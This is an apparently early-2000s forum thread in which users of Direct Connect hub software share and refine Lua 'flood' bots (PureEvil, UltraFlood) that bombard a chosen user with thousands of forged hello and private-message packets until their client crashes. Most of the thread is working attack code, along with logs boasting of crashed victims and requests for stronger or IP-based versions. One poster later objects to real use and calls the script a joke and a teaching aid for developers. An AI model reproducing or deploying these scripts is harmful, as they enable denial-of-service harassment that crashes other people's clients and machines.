my pure evil bot
--PureEvil v1
--!kill
--Written by Phatty 12th December 2k3
Bot = "Wolf"
function RegEvil(killed)
if killed == nil then end
local t = 0
repeat
killed:SendData( "$Hello "..Bot..t )
t = t+1
until t == 10000
if t == 10000 then
end
end
function DataArrival(user, data)
if strsub(data, 1, 1) == "<" then
data=strsub(data,1,strlen(data)-1)
s,e,cmd,term = strfind(data,"%b<>%s+(%S+)%s+(%S+)")
if cmd == "!kill" then
killed = GetItemByName(term)
RegEvil(killed)
return 1
end
end
end
The bandwidth is unnoticable usage from this, and its affective ;)
l8rr,,
-phatty
what's the function of this script?? 8)
QuoteOriginally posted by turkiye
what's the function of this script?? 8)
run it, if i am reading the code right
it does wonderful things. ;)
I'm Gonna be test it
:D
whit this script can you gone ban soemone on mainchat and reason is not needed
:D
oki me stupide....
I don?t get it, it kicks user and flood him or!!
could it be the script i think it is Phatty ?
Actually when testing this sort of flood script against DC++ I found it very resilliant to a nick flood. And a refresh user list solved the problem instantly. So I expanded upon and created a timer event so the hub wouldn't be bogged down.
sBotName = "-=UltraFlood=-";
sFloodUser = nil;
iFloodCount = 0;
sToFloodUser = nil;
function Main()
frmHub:RegBot(sBotName);
SetTimer(10);
end
function OnTimer()
for i = 1, 20, 1 do
iFloodCount = iFloodCount + 1;
SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
end
if(GetItemByName(sFloodUser) == nil) then
StopTimer();
SendToAll(sBotName, sFloodUser.." was flooded with "..iFloodCount.." and went down in a firier ball of death.");
iFloodCount = 0;
sFloodUser,sToFloodUser = nil,nil;
end
end
function DataArrival(curUser, sData)
local s, e, cmd, user = strfind(sData, "%b<> (%S+) (%S+)%|$");
if(cmd == nil or curUser.bOperator == nil) then return 0; end
cmd = strlower(cmd);
if(cmd == "!flood" and GetItemByName(user)) then
sFloodUser = user;
sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
SendToAll(sBotName, "Flooding "..user.." like a sack of potatos!!!");
StartTimer();
end
end
-NotRabidWombat
a little bit more extended version
--PureEvil v1
--!kill
--Written by Phatty 12th December 2k3, modded by chill
function RegEvil(killed)
if killed ~= nil then
--local handle = openfile("test.txt","w")
local t1 = 0
while t1 <= 100 do
local t2,sdata = 0,""
while t2 <= 10 do
local word = strchar(random(65,90))
local len = random(1,2)
for i = 1,len do
word = word..strchar(random(97,122))
end
sdata = sdata.."$Hello "..word.."|$To: "..strchar(134).." From: "..word.." $<"..word.."> "..strchar(134).."|"
t2 = t2 + 1
end
--write(handle,sdata)
killed:SendData(sdata)
t1 = t1 + 1
end
--closefile(handle)
end
end
function DataArrival(user, data)
if strsub(data, 1, 1) == "<" then
data=strsub(data,1,strlen(data)-1)
s,e,cmd,term = strfind(data,"%b<>%s+(%S+)%s+(%S+)")
if cmd == "!kill" then
killed = GetItemByName(term)
RegEvil(killed)
return 1
end
end
end
QuoteOriginally posted by c h i l l a
a little bit more extended version
--PureEvil v1
--!kill
--Written by Phatty 12th December 2k3, modded by chill
function RegEvil(killed)
if killed ~= nil then
--local handle = openfile("test.txt","w")
local t1 = 0
while t1 <= 100 do
local t2,sdata = 0,""
while t2 <= 10 do
local word = strchar(random(65,90))
local len = random(1,2)
for i = 1,len do
word = word..strchar(random(97,122))
end
sdata = sdata.."$Hello "..word.."|$To: "..strchar(134).." From: "..word.." $<"..word.."> "..strchar(134).."|"
t2 = t2 + 1
end
--write(handle,sdata)
killed:SendData(sdata)
t1 = t1 + 1
end
--closefile(handle)
end
end
function DataArrival(user, data)
if strsub(data, 1, 1) == "<" then
data=strsub(data,1,strlen(data)-1)
s,e,cmd,term = strfind(data,"%b<>%s+(%S+)%s+(%S+)")
if cmd == "!kill" then
killed = GetItemByName(term)
RegEvil(killed)
return 1
end
end
end
hahahaha very nice update :)
QuoteOriginally posted by NotRabidWombat
Actually when testing this sort of flood script against DC++ I found it very resilliant to a nick flood. And a refresh user list solved the problem instantly. So I expanded upon and created a timer event so the hub wouldn't be bogged down.
sBotName = "-=UltraFlood=-";
sFloodUser = nil;
iFloodCount = 0;
sToFloodUser = nil;
function Main()
frmHub:RegBot(sBotName);
SetTimer(10);
end
function OnTimer()
for i = 1, 20, 1 do
iFloodCount = iFloodCount + 1;
SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
end
if(GetItemByName(sFloodUser) == nil) then
StopTimer();
SendToAll(sBotName, sFloodUser.." was flooded with "..iFloodCount.." and went down in a firier ball of death.");
iFloodCount = 0;
sFloodUser,sToFloodUser = nil,nil;
end
end
function DataArrival(curUser, sData)
local s, e, cmd, user = strfind(sData, "%b<> (%S+) (%S+)%|$");
if(cmd == nil or curUser.bOperator == nil) then return 0; end
cmd = strlower(cmd);
if(cmd == "!flood" and GetItemByName(user)) then
sFloodUser = user;
sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
SendToAll(sBotName, "Flooding "..user.." like a sack of potatos!!!");
StartTimer();
end
end
-NotRabidWombat
more affective this quite nice one dude :)
heheh i just had to post this hehehe
[19:20] <-=UltraFlood=-> zetttki_[Comhem]_ was flooded with 2861460 and went down in a firier ball of death.
hahahaha
just tried this ,but the robocop 5 stops me from using this it has !flood built in ?( ..ideas?
explain how this is used,cuz it aint workin ere!!!?
yep u see the word "!flood" change it to "!kill" and then try !kill
;)
l8rr
ah ok,,so this bans floods at same time...mmm
nope still same.......ideas?
noit doesnt well try another command !murder or sumit lol
<(.UTH-UK.)-evilBot=-> [XXX]-melos was flooded with 21460 and went down in a firier ball of death.he won't bother us again :)
WTF haha
lol..doz this crash their system ?
surely it must 21460 bombing ya ?
way to go rabid it actually crashes dc out :)
SendToNick(sFloodUser, "$you broke all the rules of the hub..burn in hell"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
possible? aint tested it ..
nah not with the way that runs....but i suppose you can send em a message, bit bissy atm i will ad one soon when i finished unless someone beats me
ok i know i can just ban him !!!!!!!!
but i want to teach him a lesson ,is there a way to flood count very high ,cuz he comes back as normal
.
<(.UTH-UK.)-evilBot=-> Is Flooding SDDiUqjETs With flames of Ultimate power!!!
<(.UTH-UK.)-evilBot=-> SDDiUqjETs Was flooded with 24440 messages.. He went down in a Ultimate Fireball of intensity.
<(.UTH-UK.)-evilBot=-> Is Flooding SDDiUqjETs With flames of Ultimate power!!!
<(.UTH-UK.)-evilBot=-> SDDiUqjETs Was flooded with 23840 messages.. He went down in a Ultimate Fireball of intensity.
With every test I performed DC crashed. There was one instance that an XP machine crashed when the flooding finished...
-NotRabidWombat
QuoteOriginally posted by NotRabidWombat
With every test I performed DC crashed. There was one instance that an XP machine crashed when the flooding finished...
-NotRabidWombat
hehehe now that wud be phun hahah :))
btw sending 2 hellos at once is more violent ;)
... Why? you shouldn't be able to get duplicates in the user list.
-NotRabidWombat
the client only goes down when... pop up pm's is enabled.
else i know around 1000 PM's it enough, for dc.
QuoteOriginally posted by NotRabidWombat
... Why? you shouldn't be able to get duplicates in the user list.
-NotRabidWombat
muliple hellos from mutli users at the same time ;)
(.UTH-UK.)-evilBot=-> duru Was flooded with 170800 messages.. Attacked with an Ultimate Fireball of intensity.
ahha
guyz i was thinking is it possible to make the ultimate nasty bot...for such things users sharing sick files
bring him out when we most need to get our revenge
on the sicko's
floods user .then after lifebans ...possible?
oh now I see...
actually chilla, I tested the hello messaging attack (adding lots of users to the list) and it also crashed DC++. Took a bit longer but still worked.
oblivion,
don't go overboard. I did the first version as a joke for some people. Flooding people is just as bad as someone flooding the hub. It CAN get you kicked from your ISP. Besides, that's the way you make enemies. Just ban them, problem solved.
-NotRabidWombat
Hi,
The script is great for fakers, but if in the DCs Settings the user in the Advanced disable the option "Popup private messages" the script won't have any effect :(
Can it be solved ????
Best regards, nErBoS
very nice, anychance we can have it work on an ip aswell
Just a thot :)
NO. This was intended as a joke and should not be used for actual punishment. Grow up.
-NotRabidWombat
didnt mean to offend ya m8, but like the atomic bomb, it was made to see if it could be done then used, why include flooders in main scripts if they are not to be used.(mean machine, nxs)
If someone makes it, someone will use it, guarenteed.
If ya dont want it used why make it.??
would be best to have moderator remove this thread if you made it not to be used..
and I dont mean to upset you with this post, I just try to understand..
Thanx for the reply tho m8
HAPPY DAYS
1) A flooding script is FAR more counter productive than productive
a) Uses hubs outgoing bandwidth directly impacting chat/search/ConnectToMe
b) Flooding a user to the point of crashing will probably UPSET them. Just kick/ban.
c) Flooding a user is the equivalent of attacking a hub. If you feel it is justified, then I feel users who are upset by your hub or operators are justified to attack/flood it.
2) Just because you have power does not mean you should abuse it. I think we've all seen enough kung-fu and end of the world movies to know that one by know.
3) I made this script for these purpose:
a) A joke for some of my buddies on my LAN. We do it to each other. No one gets angry.
b) To learn and teach. That is the purpose of a forum. To spread ideas and help each other.
c) To show developers (hub and client) how this can be done to give them an idea on how to stop and make better code.
Any other questions?
-NotRabidWombat
I bow down before you and and apologise for my supidity..
I never thot about it being used as a teaching tool so that others may learn how to defend against it and to also show how code could be written.(probably all other points you put acroos)
I should also learn to think before I speak.
My humble apologies m8.
Sorry man. I'm not looking for apologies. I just want Direct Connect to be a nicer place, even if I'm a big loud - mouthed jerk about it.
-NotRabidWombat
hmmm save lots of random stuff
--//Function PureEvil v1.2 by Phatty
function Main() BOT = "Verli"; end;
function DataArrival(user,data)
if( strsub(data, 1, 1) == "<" ) then
local data=strsub(data,1,strlen(data)-1)
local s,e,cmd = strfind(data, "%b<>%s+(%S+)")
if cmd == "!kill" then
local s,e,name = strfind(data, "%b<>%s+%S+%s+(%S+)")
local ls = GetItemByName(name)
if ls then local t = 0;
repeat ls:SendData( "$Hello "..user.sName..t )
ls:SendData( "$To: "..user.sName.." From: "..user.sName..t.." $<"..user.sName..t.."> test|")
if GetItemByName(name) == nil then
SendToAll(BOT,name.."'s client has just been terminated with "..t.." open pm windows")
t = 0; return nil; end; t = t+1;
until t == 10000; else user:SendData(BOT,"No such user!")
return 1; end;
end;
end;
end;
this is way done in gekko
this way does kill the client, there client will close, even closes dc stealth, but it will freeze the hub for few hundred milisecs